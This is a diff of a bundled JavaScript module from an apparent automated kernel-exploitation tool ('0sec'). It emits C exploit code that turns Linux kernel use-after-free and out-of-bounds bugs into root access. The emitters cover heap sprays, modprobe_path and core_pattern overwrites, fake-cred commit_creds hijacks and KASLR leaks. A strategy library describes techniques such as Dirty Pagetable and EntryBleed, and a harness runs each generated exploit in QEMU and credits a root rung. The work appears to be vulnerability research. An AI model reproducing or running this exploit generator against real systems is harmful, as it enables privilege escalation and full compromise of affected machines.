+    "      if (fd >= 0) close(fd);",
+    "    }",
+    "    /* Poll for the root-owned witness the helper wrote. Its existence + uid=0",
+    "       content is the ONLY thing we credit ROOT on. */",
+    '    int wf = open("/tmp/pwned", O_RDONLY);',
+    "    if (wf >= 0) {",
+    "      char w[256]; ssize_t n = read(wf, w, sizeof(w) - 1); close(wf);",
+    "      if (n > 0) {",
+    "        w[n] = 0;",
+    "        /* Evidence-bound ROOT: only if the witness actually proves uid=0. */",
+    '        if (strstr(w, "uid=0")) {',
+    "          char idbuf[300];",
+    '          snprintf(idbuf, sizeof(idbuf), "witness=/tmp/pwned %s", w);',
+    "          for (char *p = idbuf; *p; p++) if (*p == '\\n') *p = ' ';",
+    `          osec_marker("${rootTag}", idbuf);`,
+    "          g_race_run = 0; /* signal the race to stop \u2014 we have root */",
+    "          return;",
+    "        }",
+    "      }",
+    "    }",
+    "    usleep(20 * 1000);",
+    "  }",
+    "}"
+  ];
+  return [...raceFlag, ...dropper, ...worker].join("\n");
+}
+function emitEscalationPhase(canary, params, assessment, family) {
+  const tail = params.rootTailPlan;
+  const rootTag = RUNG_MARKER_TAG.root;
+  if (assessment.finisher === "fake-cred-oneshot") {
+    return [
+      "  /* \u2500\u2500 Escalation phase \u2014 fake-cred one-shot (fired in the reclaim driver) \u2500",
+      "     The forked unprivileged child is escalated when the kernel's re-armed",
+      '     timer runs commit_creds(&obj); its osec_marker("ROOT", ...) is bound to',
+      "     a genuine getuid()==0. Nothing to fire here \u2014 the driver above owns it. */"
+    ].join("\n");
+  }
+  if (assessment.finisher === "none") {
+    return [
+      "  /* \u2500\u2500 Escalation phase \u2014 NO FINISHER EMITTED (partial artifact) \u2500\u2500\u2500\u2500\u2500\u2500",
+      `     gaps: ${assessment.gaps.join(", ") || "none"}`,
+      tail ? `     The planner selected the '${cSafe(tail.tail)}' tail, for which this emitter` : "     No root-tail plan was supplied, so no tail was selected;",
+      tail ? "     has no wired-up body (or the write cannot be aimed at a global). No" : "     there is nothing to fire. No",
+      "     DROP / ROOT marker is emitted and no root is attempted. This artifact is",
+      "     a SCAFFOLD, not a failed exploit \u2014 see the PARTIAL marker above. */"
+    ].join("\n");
+  }
+  if (assessment.finisher === "core-pattern-crash") {
+    return [
+      "  /* \u2500\u2500 Escalation phase \u2014 core_pattern tail (self-crash trigger) \u2500\u2500\u2500\u2500\u2500\u2500",
+      `     tail: core_pattern \u2192 ${cSafe(tail.targetSymbol)}; payload: ${tail.pathString ? cEscapedString(tail.pathString) : "(none)"}. */`,
+      "  if (g_target_addr == 0) {",
+      "    /* HONEST GAP: no resolved/leaked target address \u2014 write cannot be aimed. */",
+      "  } else if (osec_drop_payload() == 0) {",
+      `    if (setuid(${DROP_UID}) == 0 && getuid() == ${DROP_UID}) {`,
+      '      char db[32]; snprintf(db, sizeof(db), "uid=%d", getuid());',
+      `      osec_marker("DROP", db); /* bound to a real setuid */`,
+      "      pid_t c = fork();",
+      "      if (c == 0) { *(volatile int *)0 = 0; _exit(0); } /* self-crash \u2192 core */",
+      "      waitpid(c, NULL, 0);",
+      "      /* Evidence-bound ROOT: credit only the /tmp/pwned uid=0 witness the",
+      "         core-piped helper wrote as root \u2014 never getuid() in this process. */",
+      '      int wf = open("/tmp/pwned", O_RDONLY);',
+      "      if (wf >= 0) {",
+      "        char w[256]; ssize_t n = read(wf, w, sizeof(w) - 1); close(wf);",
+      '        if (n > 0) { w[n] = 0; if (strstr(w, "uid=0")) {',
+      '          char idbuf[300]; snprintf(idbuf, sizeof(idbuf), "witness=/tmp/pwned %s", w);',
+      "          for (char *p = idbuf; *p; p++) if (*p == '\\n') *p = ' ';",
+      `          osec_marker("${rootTag}", idbuf); } }`,
+      "      }",
+      "    }",
+      "  }"
+    ].join("\n");
+  }
+  const label = [
+    `  /* \u2500\u2500 Escalation phase \u2014 request_module finisher \u2192 ${cSafe(tail.targetSymbol)} \u2500\u2500`,
+    `     tail: ${cSafe(tail.tail)}; payload: ${tail.pathString ? cEscapedString(tail.pathString) : "(none)"}. */`
+  ];
+  if (family === "alsa-seq-rawmidi") {
+    return [
+      ...label,
+      "  /* The /tmp/x dropper was created and the dropped-uid request_module trigger",
+      "     was FORKED by the race driver above (reclaim phase), so the trigger fires",
+      "     CONTINUOUSLY during the race \u2014 a won race overwrites modprobe_path and the",
+      "     forked child witnesses /tmp/pwned (uid=0) and prints the ROOT marker. There",
+      "     is deliberately no post-race one-shot trigger here (that misses the async",
+      "     win) and no getuid()==0 self-check (this process never becomes root). */"
+    ].join("\n");
+  }
+  return [
+    ...label,
+    "  /* No bug-specific race driver for this family, so the dropped-uid trigger is",
+    "     forked HERE rather than in-race. Same worker, same evidence rule: ROOT is",
+    "     credited only on the /tmp/pwned uid=0 witness the helper writes as root. */",
+    "  if (g_target_addr == 0) {",
+    "    /* HONEST GAP: no resolved/leaked target address \u2014 the write cannot be aimed",
+    "       at the global, so firing the trigger would prove nothing. Do not fork. */",
+    "  } else if (osec_drop_payload() == 0) {",
+    "    g_race_run = 1; /* the child inherits this at fork() time */",
+    "    pid_t osec_trig_pid = fork();",
+    "    if (osec_trig_pid == 0) { osec_trigger_worker(); _exit(0); }",
+    "    if (osec_trig_pid > 0) {",
+    "      /* Bounded wait: the worker polls /tmp/pwned and clears g_race_run on a",
+    "         win. Cap the window so a miss cannot hang the harness run. */",
+    "      int waited = 0;",
+    "      while (waited++ < 250 && waitpid(osec_trig_pid, NULL, WNOHANG) == 0)",
+    "        usleep(20 * 1000);",
+    "      g_race_run = 0;",
+    "      kill(osec_trig_pid, SIGKILL);",
+    "      waitpid(osec_trig_pid, NULL, 0);",
+    "    }",
+    "  }"
+  ].join("\n");
+}
+function cEscapedString(s) {
+  let out = '"';
+  for (const ch of s) {
+    const code = ch.charCodeAt(0);
+    if (ch === "\0")
+      out += "\\0";
+    else if (ch === '"')
+      out += '\\"';
+    else if (ch === "\\")
+      out += "\\\\";
+    else if (ch === "\n")
+      out += "\\n";
+    else if (code < 32 || code > 126)
+      out += "\\x" + code.toString(16).padStart(2, "0");
+    else
+      out += ch;
+  }
+  out += '"';
+  return out;
+}
+function emitRungPhase(rung, params, family, climbsToRoot, assessment) {
+  if (rung === "none")
+    return "";
+  const tag = RUNG_MARKER_TAG[rung];
+  if (rung === "attempted") {
+    return [
+      "  /* Phase 0 \u2014 harness reached the exploit entry point. */",
+      `  osec_marker("${tag}", "entry");`,
+      "",
+      // A partial artifact announces itself in its own output, FIRST, before any
+      // capability marker. A consumer reading only stdout must not be able to
+      // mistake a scaffold that never had a finisher for an exploit that ran and
+      // failed. Canary-bound like every other marker, and the tag is deliberately
+      // not a rung tag so the oracle's rung crediting cannot see it.
+      ...assessment.complete ? [] : [
+        "  /* PARTIAL ARTIFACT \u2014 this emission has no complete root finisher. */",
+        // Sanitize each token individually: `cSafe` drops commas, so joining
+        // first would fuse the whole gap list into one unreadable word.
+        `  osec_marker("${PARTIAL_MARKER_TAG}", "${assessment.gaps.map(cSafe).join(",")}");`,
+        ""
+      ],
+      "  /* Resolve the root-tail target address up front (static under KASLR-off,",
+      "     or kaslr_base + offset from a runtime leak under KASLR-on) so the",
+      "     reclaim spray below stamps a REAL address into the fake object. */",
+      emitTargetAddrSetup(params, family)
+    ].join("\n");
+  }
+  if (rung === "triggered") {
+    return "  /* Phase T \u2014 trigger evidence is emitted by the real family driver. */";
+  }
+  if (rung === "reclaim") {
+    return emitSprayPhase(params.canary, params, family, climbsToRoot, assessment);
+  }
+  if (rung === "arb-read") {
+    return [
+      "  /* Phase R \u2014 controlled read: the read capability is NOT self-witnessable",
+      "     from userspace. We deliberately emit NO arb-read marker here \u2014 the",
+      "     oracle credits this rung only from the witnessed reclaim/read evidence",
+      "     in dmesg (RECLAIM_WITNESS), never from an unconditional print. */"
+    ].join("\n");
+  }
+  if (rung === "arb-write") {
+    return [
+      "  /* Phase W \u2014 controlled write: the write LANDING is NOT self-witnessable",
+      "     from userspace (the proof is the sprayed ptr at the KASAN write site in",
+      "     dmesg). We deliberately emit NO arb-write marker \u2014 crediting it on the",
+      "     static 'controllable' plan fact is exactly what made ARB-WRITE:aimed fire",
+      "     on 144 runs with zero real writes. The oracle credits this rung from the",
+      "     witnessed KASAN write-site evidence (RECLAIM_WITNESS) only. */"
+    ].join("\n");
+  }
+  return emitEscalationPhase(params.canary, params, assessment, family);
+}
+function emitWeaponizationC(opts) {
+  const rungs = ladderUpTo(opts.targetRung);
+  const family = detectTriggerFamily(opts.faultingPc);
+  const climbsToReclaim = rungs.includes("reclaim");
+  const kaslrLeakNeeded = kaslrLeakEmitted(rungs, opts.rootTailPlan, family);
+  const climbsToRoot = rungs.includes("root");
+  const assessment = assessWeaponization({
+    ...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
+    ...opts.sprayPlans ? { sprayPlans: opts.sprayPlans } : {},
+    ...opts.rootTailPlan ? { rootTailPlan: opts.rootTailPlan } : {},
+    family,
+    writeAimable: escalationFireable(opts),
+    climbsToRoot
+  });
+  const phases = rungs.map((r) => emitRungPhase(r, opts, family, climbsToRoot, assessment)).join("\n\n");
+  const fileScopeHelpers = [];
+  if (climbsToReclaim) {
+    if (family === "timer-list-uaf") {
+      fileScopeHelpers.push(emitTimerUafTrigger({
+        ...opts.canary ? { canary: opts.canary } : {},
+        ...opts.faultingPc ? { faultingPc: opts.faultingPc } : {},
+        ...opts.objectHint ? { slabCache: opts.objectHint } : {},
+        ...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
+        ...opts.rootTailPlan?.hardenedNeedsTextLeak ? { hardenedNeedsTextLeak: true } : {}
+      }).join("\n"), "");
+    } else if (family === "alsa-seq-rawmidi") {
+      fileScopeHelpers.push(emitAlsaSeqRawmidiTrigger({
+        ...opts.faultingPc ? { faultingPc: opts.faultingPc } : {},
+        ...opts.objectHint ? { slabCache: opts.objectHint } : {},
+        ...opts.writeProfile ? { writeProfile: opts.writeProfile } : {},
+        pinCpu: 0
+      }).join("\n"), "");
+    }
+    if (family !== "timer-list-uaf") {
+      fileScopeHelpers.push(emitReclaimSprayFunction(opts.canary, opts), "");
+      if (kaslrLeakNeeded) {
+        fileScopeHelpers.push(emitKaslrLeakFunction(), "");
+      }
+    }
+  }
+  if (climbsToRoot && (assessment.finisher === "modprobe-request-module" || assessment.finisher === "core-pattern-crash")) {
+    fileScopeHelpers.push(emitRootTailHelpers(opts, assessment.finisher, family !== "alsa-seq-rawmidi"), "");
+  }
+  const reproBlock = opts.reproducer ? [
+    "/* \u2500\u2500 Embedded memory-safety trigger (provenance) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500",
+    commentSafe(opts.reproducer.slice(0, 4e3)),
+    "\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 */",
+    ""
+  ].join("\n") : "";
+  const planComment = [
+    " *",
+    " * Phase-3 plan:",
+    opts.writeProfile ? ` *   write: dst@${hx(opts.writeProfile.dstOffset)} len@${hx(opts.writeProfile.lenOffset)} controllable=${opts.writeProfile.controllable ?? "?"}` : " *   write: (no profile \u2014 partial)",
+    opts.sprayPlans && opts.sprayPlans.length ? ` *   spray: ${opts.sprayPlans.map((p) => `${p.primitive}${p.bucketMatch ? "*" : ""}`).join(", ")} (first bucket-match drives reclaim)` : " *   spray: (no plan \u2014 partial)",
+    opts.rootTailPlan ? ` *   root-tail: ${opts.rootTailPlan.tail} \u2192 ${opts.rootTailPlan.targetSymbol ?? "?"}` : " *   root-tail: (no plan \u2014 partial)",
+    " *",
+    // The machine-parsable verdict. One regex over the artifact recovers whether
+    // this is a finished exploit or a scaffold, and exactly what is missing —
+    // without compiling it, running it, or reading prose.
+    ` * ${artifactVerdictLine(assessment)}`
+  ].join("\n");
+  const completenessDefines = assessment.complete ? [`#define ${COMPLETE_DEFINE} 1`, ""] : [
+    `#define ${PARTIAL_DEFINE} 1`,
+    `#define OSEC_WEAPONIZATION_GAPS "${assessment.gaps.map(cSafe).join(",")}"`,
+    `#warning "0sec: PARTIAL weaponization artifact - no complete root finisher (gaps: ${assessment.gaps.map(cSafe).join(",")}). This is a SCAFFOLD, not a working exploit."`,
+    ""
+  ];
+  return [
+    `/* 0sec weaponization \u2014 strategy=${cSafe(opts.strategyId)}`,
+    ` * techniques: ${opts.techniques.join(", ")}`,
+    ` * target rung: ${opts.targetRung}`,
+    opts.objectHint ? ` * victim object: ${cSafe(opts.objectHint)}` : " * victim object: (unknown)",
+    planComment,
+    " *",
+    " * Plan-driven body: a real spray/reclaim/uid-dropped-trigger chain. Whether",
+    " * it ROOTS is decided by the live QEMU run + the deterministic oracle \u2014 the",
+    " * capability markers below fire only when the step genuinely happens.",
+    " */",
+    markerPreamble(opts.canary),
+    "",
+    ...completenessDefines,
+    "/* The root-tail target the spray stamps into the reclaimed dst pointer.",
+    "   Resolved at the top of main(): static (KASLR off) or kaslr_base+offset",
+    "   from a runtime leak (KASLR on). 0 until resolved \u2014 an inert copy the",
+    "   oracle refuses to credit. */",
+    "unsigned long g_target_addr = 0;",
+    "",
+    ...fileScopeHelpers,
+    reproBlock,
+    "int main(void) {",
+    phases,
+    "",
+    rungAtLeast(opts.targetRung, "attempted") ? "  /* No higher capability confirmed; exit cleanly so the harness records the attempt. */" : "",
+    "  return 0;",
+    "}",
+    ""
+  ].filter((line) => line !== "").join("\n");
+}
+function hx(n) {
+  return n === void 0 ? "?" : `0x${n.toString(16)}`;
+}
+
+// packages/core/dist/kernel/exploit/library.js
+function strategy(spec) {
+  const techniques = [...spec.techniques];
+  return {
+    ...spec,
+    emit: spec.emit ?? ((params) => emitWeaponizationC({
+      ...params,
+      strategyId: spec.id,
+      techniques
+    }))
+  };
+}
+var PRIMITIVE_LIBRARY = [
+  strategy({
+    id: "page-uaf-pte",
+    title: "Page-granularity UAF \u2192 page-table overwrite (Dirty Pagetable)",
+    appliesTo: ["use-after-free"],
+    control: "write",
+    ceiling: "root",
+    techniques: ["page-uaf", "cross-cache", "pte-spray", "dirty-pagetable"],
+    rootTail: "cred-overwrite",
+    description: "Reclaim a freed page as a page-table page via cross-cache spray, then use the dangling write to forge a PTE that maps an attacker-controlled physical page (Dirty Pagetable). Yields arbitrary physical read/write, escalated to root by overwriting credentials of a sentinel process."
+  }),
+  strategy({
+    id: "timer-uaf-fakecred",
+    title: "timer/ops UAF \u2192 fake-cred one-shot (forged cred + commit_creds hijack)",
+    appliesTo: ["use-after-free", "double-free"],
+    // A control-flow (fn-ptr) primitive: the freed object owns a timer/ops
+    // callback the kernel calls after free — not a memcpy write.
+    control: "call",
+    ceiling: "root",
+    techniques: ["timer-list-uaf", "msg_msg-spray", "fake-cred", "softirq-child"],
+    rootTail: "cred-overwrite",
+    description: "Reclaim a freed object that owns an embedded `timer_list` with a forged `msg_msg` so the object doubles as a `struct cred` and its `timer_list.function` becomes `commit_creds` (rdi = &obj). The kernel re-arms the timer (mod_timer) leaving base/flags intact and injecting only `.function`; when the timer softirq fires in a busy-spinning unprivileged child, commit_creds(&obj) escalates it to root. Data-only (no arbitrary R/W, no writable global); assumes CFI off, and under KASLR needs a paired kernel-text infoleak (the physmap MODE_LEAK step recovers only page_offset_base)."
+  }),
+  strategy({
+    id: "timer-uaf-workqueue-bounce",
+    title: "timer/ops UAF \u2192 forge-pwq \u2192 kworker process-context bounce \u2192 WWW \u2192 modprobe_path",
+    appliesTo: ["use-after-free", "double-free"],
+    // Same control-flow (fn-ptr) lever as the fake-cred one-shot, but the timer
+    // bounces into PROCESS context (a real kworker) instead of firing in softirq.
+    control: "call",
+    ceiling: "root",
+    techniques: [
+      "timer-list-uaf",
+      "user_key_payload-reclaim",
+      "self-address-leak",
+      "entrybleed",
+      "forge-pwq",
+      "kworker-bounce",
+      "unlink-www"
+    ],
+    rootTail: "modprobe_path",
+    description: "The GuitarZero poison-tolerant sibling of the fake-cred one-shot (0sec#1215). Reclaim the freed timer-owning object with a user_key_payload (survives MEMCG + SLAB_BUCKETS), leak the chunk self-address (N-object same-bucket timer linkage, chunk = leaked\u2212344) and the timer-bucket per-CPU pointer, recover __per_cpu_offset[0], and forge a workqueue_struct+pool_workqueue at chunk+256 (256-aligned) pointing pwq->pool at the computed real cpu_worker_pools[0][0] \u2014 so delayed_work_timer_fn \u2192 __queue_work \u2192 process_one_work runs work->func in a REAL kworker (process context, NO arbitrary read). A survivable unlink-WWW gadget overwrites modprobe_path. Text base via EntryBleed (bare metal) or a companion leak (virtualized TSC); assumes CFI off (kCFI \u21D2 data-only tail). Composed by guitarzero-primitives.ts#composeTimerUafChain."
+  }),
+  strategy({
+    id: "skmsg-uaf-msgmsg",
+    title: "socket-kmalloc UAF \u2192 msg_msg spray \u2192 arbitrary R/W",
+    appliesTo: ["use-after-free", "double-free"],
+    control: "write",
+    ceiling: "root",
+    techniques: ["sock_kmalloc", "msg_msg-spray", "uffd-widen"],
+    rootTail: "modprobe_path",
+    description: "Spray `msg_msg` objects into the freed `sock_kmalloc` slot to reclaim the dangling object, widen the corruption window with userfaultfd, and pivot the controlled write into an arbitrary kernel read/write. Roots by overwriting `modprobe_path` and triggering a modprobe invocation."
+  }),
+  strategy({
+    id: "oob-write-cross-cache",
+    title: "Heap OOB write \u2192 cross-cache \u2192 core_pattern root",
+    appliesTo: ["out-of-bounds-write"],
+    control: "write",
+    ceiling: "root",
+    techniques: ["heap-groom", "cross-cache", "core_pattern"],
+    rootTail: "core_pattern",
+    description: "Groom a victim object immediately after the overflowed allocation, drive the out-of-bounds write to corrupt a controlled field, and escalate by overwriting `core_pattern` to run an attacker binary as root on the next crash."
+  }),
+  strategy({
+    id: "uaf-oob-read-leak",
+    title: "UAF / OOB read \u2192 adjacent-object info leak",
+    appliesTo: ["use-after-free", "out-of-bounds-read"],
+    control: "read",
+    ceiling: "arb-read",
+    techniques: ["msg_msg-spray", "kaslr-leak"],
+    description: "Reclaim the freed / under-sized object with a marker payload and use the dangling or out-of-bounds read to leak adjacent kernel memory back to userspace (KASLR / heap-pointer disclosure). A read-only building block \u2014 feeds a later write chain rather than reaching root on its own."
+  }),
+  strategy({
+    id: "uninit-stack-copyout-leak",
+    title: "Uninitialized on-stack struct \u2192 copy_to_user \u2192 kernel-pointer leak",
+    appliesTo: ["uninitialized-access", "out-of-bounds-read"],
+    control: "read",
+    ceiling: "arb-read",
+    techniques: ["uninit-stack", "copy_to_user-leak", "kaslr-leak"],
+    description: "Reach a syscall/ioctl path that copies a partially-initialized on-stack struct (padding or an unwritten field) back to userspace via `copy_to_user`. Prime the kernel stack with attacker-chosen frames so the uninitialized bytes carry a leaked kernel/heap pointer (KASLR / stack canary disclosure). A read-only building block \u2014 feeds a later write chain."
+  }),
+  strategy({
+    id: "proc-sysctl-addr-leak",
+    title: "/proc or sysctl surface \u2192 kernel-address disclosure",
+    appliesTo: ["out-of-bounds-read", "uninitialized-access"],
+    control: "read",
+    ceiling: "arb-read",
+    techniques: ["proc-leak", "sysctl-leak", "kaslr-leak"],
+    description: "Read an unprivileged `/proc` or sysctl surface that prints a raw kernel address (an `%p`-without-`%pK` driver file, a pointer in `/proc/<pid>/*`, or a sysctl echoing a symbol) to recover the KASLR base or a heap pointer. A bug-adjacent infoleak surface \u2014 supplies the base a later data-only write tail needs, without corrupting anything itself."
+  }),
+  strategy({
+    id: "entrybleed-prefetch-kaslr",
+    title: "EntryBleed / prefetch KASLR side-channel \u2192 kernel-text base",
+    appliesTo: [
+      "use-after-free",
+      "out-of-bounds-write",
+      "out-of-bounds-read",
+      "double-free",
+      "uninitialized-access"
+    ],
+    // A pure microarchitectural timing side-channel: it needs NO memory-safety
+    // control from the bug, so it pairs with any exploitable primitive to
+    // supply the KASLR base the write tail requires.
+    control: "none",
+    ceiling: "arb-read",
+    techniques: ["entrybleed", "prefetch-sidechannel", "kaslr-leak"],
+    description: "Time `prefetch` against the KPTI entry-trampoline mappings (EntryBleed, CVE-2022-4543) to recover the kernel-text base without any memory corruption \u2014 a bug-independent KASLR defeat on affected Intel CPUs. Supplies the coarse base that the data-only write tails (modprobe_path / core_pattern) need under RANDOMIZE_BASE."
+  })
+];
+function selectStrategies(primitive) {
+  const grantsWrite = primitive.control === "write";
+  const grantsRead = primitive.control === "write" || primitive.control === "read";
+  const grantsFree = primitive.control === "free" || grantsWrite;
+  const grantsCall = primitive.control === "call";
+  return PRIMITIVE_LIBRARY.filter((s) => {
+    if (!s.appliesTo.includes(primitive.kind))
+      return false;
+    if (s.control === "write")
+      return grantsWrite;
+    if (s.control === "read")
+      return grantsRead;
+    if (s.control === "free")
+      return grantsFree;
+    if (s.control === "call")
+      return grantsCall;
+    return true;
+  }).sort((a, b) => rungRank(b.ceiling) - rungRank(a.ceiling));
+}
+function getStrategy(id) {
+  return PRIMITIVE_LIBRARY.find((s) => s.id === id);
+}
+
+// packages/core/dist/kernel/exploit/harness.js
+function bootedCacheKey(explicit) {
+  const v = explicit ?? process.env["0SEC_KERNEL_QEMU_CACHEKEY"]?.trim();
+  return v && v.length > 0 ? v : void 0;
+}
+function kernelVmArtifactsReady() {
+  const kernel = process.env["0SEC_KERNEL_QEMU_KERNEL"]?.trim();
+  const disk = process.env["0SEC_KERNEL_QEMU_DISK"]?.trim();
+  return Boolean(kernel && disk && existsSync(kernel) && existsSync(disk));
+}
+function mintCanary() {
+  return `wk-${randomBytes(8).toString("hex")}`;
+}
+function buildVmReport(primitive, c) {
+  return {
+    raw: "",
+    crashType: primitive.kind,
+    faultingFunction: "weaponize",
+    stackFrames: [],
+    reproducer: c,
+    reproducerLanguage: "c"
+  };
+}
+async function runStrategy(strategy2, opts) {
+  const ctx = opts.exploitContext;
+  const c = strategy2.emit({
+    canary: opts.canary,
+    reproducer: opts.reproducer,
+    targetRung: strategy2.ceiling,
+    objectHint: opts.primitive.objectHint,
+    // Thread the bug's faulting PC so the emitter can select the bug-specific
+    // free/race trigger geometry (e.g. ALSA seq/rawmidi) and the same-site kprobe.
+    ...opts.primitive.faultingPc ? { faultingPc: opts.primitive.faultingPc } : {},
+    ...ctx?.writeProfile ? { writeProfile: ctx.writeProfile } : {},
+    ...ctx?.sprayPlans ? { sprayPlans: ctx.sprayPlans } : {},
+    ...ctx?.rootTailPlan ? { rootTailPlan: ctx.rootTailPlan } : {}
+  });
+  const run = await opts.vmRunner(buildVmReport(opts.primitive, c));
+  const cacheKey = bootedCacheKey(opts.cacheKey);
+  const verdict = adjudicate({
+    attemptedRung: strategy2.ceiling,
+    canary: opts.canary,
+    output: run.output,
+    dmesg: run.dmesg,
+    ...cacheKey ? { cacheKey } : {},
+    ...opts.expectedCacheKey ? { expectedCacheKey: opts.expectedCacheKey } : {}
+  });
+  return {
+    strategyId: strategy2.id,
+    title: strategy2.title,
+    attemptedRung: strategy2.ceiling,
+    reachedRung: verdict.rung,
+    compiled: run.compiled,
+    executed: run.executed,
+    evidence: verdict.evidence,
+    reason: run.compiled ? verdict.reason : `weaponization scaffold failed to compile: ${run.output.slice(0, 300)}`,
+    artifactC: c
+  };
+}
+async function runWeaponization(opts) {
+  const log = opts.logger ?? ((line) => console.log(line));
+  const ready = opts.artifactsReady ?? (opts.vmRunner ? () => true : kernelVmArtifactsReady);
+  if (!ready()) {
+    log("[weaponize] kernel-VM artifacts not present \u2014 skipping (default-safe no-op)");
+    return {
+      ran: false,
+      highestRung: "none",
+      attempts: [],
+      reason: "kernel-VM artifacts not present (0SEC_KERNEL_QEMU_KERNEL/DISK); harness is a no-op"
+    };
+  }
+  const strategies = selectStrategies(opts.primitive);
+  if (strategies.length === 0) {
+    return {
+      ran: false,
+      highestRung: "none",
+      attempts: [],
+      reason: `no applicable weaponization strategy for primitive '${opts.primitive.kind}' (control=${opts.primitive.control})`
+    };
+  }
+  const vmRunner = opts.vmRunner ?? runReproducerInKernelVm;
+  const limit = opts.maxStrategies ?? strategies.length;
+  const attempts = [];
+  let highestRung = "none";
+  let artifactC;
+  const mint = opts.canaryFactory ?? mintCanary;
+  for (const strategy2 of strategies.slice(0, limit)) {
+    const canary = mint();
+    log(`[weaponize] attempting strategy '${strategy2.id}' (ceiling=${strategy2.ceiling})`);
+    const { artifactC: c, ...attempt } = await runStrategy(strategy2, {
+      primitive: opts.primitive,
+      reproducer: opts.reproducer,
+      canary,
+      vmRunner,
+      ...opts.exploitContext ? { exploitContext: opts.exploitContext } : {},
+      ...opts.cacheKey ? { cacheKey: opts.cacheKey } : {},
+      ...opts.expectedCacheKey ? { expectedCacheKey: opts.expectedCacheKey } : {}
+    });
+    attempts.push(attempt);
+    if (artifactC === void 0 || rungRank(attempt.reachedRung) > rungRank(highestRung)) {
+      artifactC = c;
+    }
+    highestRung = ratchet(highestRung, attempt.reachedRung);
+    if (rungAtLeast(highestRung, "root")) {
+      log("[weaponize] root reached \u2014 stopping ladder");
+      break;
+    }
+  }
+  return {
+    ran: true,
+    highestRung,
+    attempts,
+    artifactC,
+    reason: highestRung === "root" ? "root confirmed by deterministic oracle" : `ladder climbed to '${highestRung}' across ${attempts.length} strateg${attempts.length === 1 ? "y" : "ies"}`
+  };
+}
+
+export {
+  RUNG_MARKER_TAG,
+  markerLine,
+  markerFired,
+  droppedBeforeRoot,
+  adjudicate,
+  introspectExploitConfig,
+  disassembleAround,
+  resolveSymbol,
+  structLayout,
+  emitWeaponizationC,
+  PRIMITIVE_LIBRARY,
+  selectStrategies,
+  getStrategy,
+  bootedCacheKey,
+  kernelVmArtifactsReady,
+  mintCanary,
+  runStrategy,
+  runWeaponization
+};